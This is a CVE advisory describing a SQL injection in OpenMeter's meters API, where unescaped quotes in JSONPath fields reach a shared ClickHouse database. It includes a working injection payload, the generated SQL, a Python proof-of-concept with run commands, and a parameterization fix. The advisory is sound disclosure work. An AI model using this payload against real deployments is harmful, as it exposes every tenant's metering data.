CVE-2026-8462

Description

### Summary An authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. ### Details `openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`: ```go sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) ``` `sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: ``` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``` Generated SQL: ```sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``` Fix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder: ```diff -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) ``` ### PoC `poc.py`: ```python import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --" def post_meter(value_property): body = json.dumps({ "slug": f"poc_{uuid.uuid4().hex[:8]}", "eventType": "x", "aggregation": "SUM", "valueProperty": value_property, }).encode() req = Request(f"{API}/api/v1/meters", data=body, headers={"Content-Type": "application/json"}, method="POST") t0 = time.monotonic() with urlopen(req, timeout=SLEEP + 10) as r: return r.status, time.monotonic() - t0 _, baseline = post_meter("$.tokens") status, elapsed = post_meter(PAYLOAD) print(f"baseline : {baseline:.3f}s") print(f"injected : {elapsed:.3f}s (HTTP {status})") print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}") ``` ```shell docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py ``` Expected output: ``` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``` ### Impact SQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible. ### Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research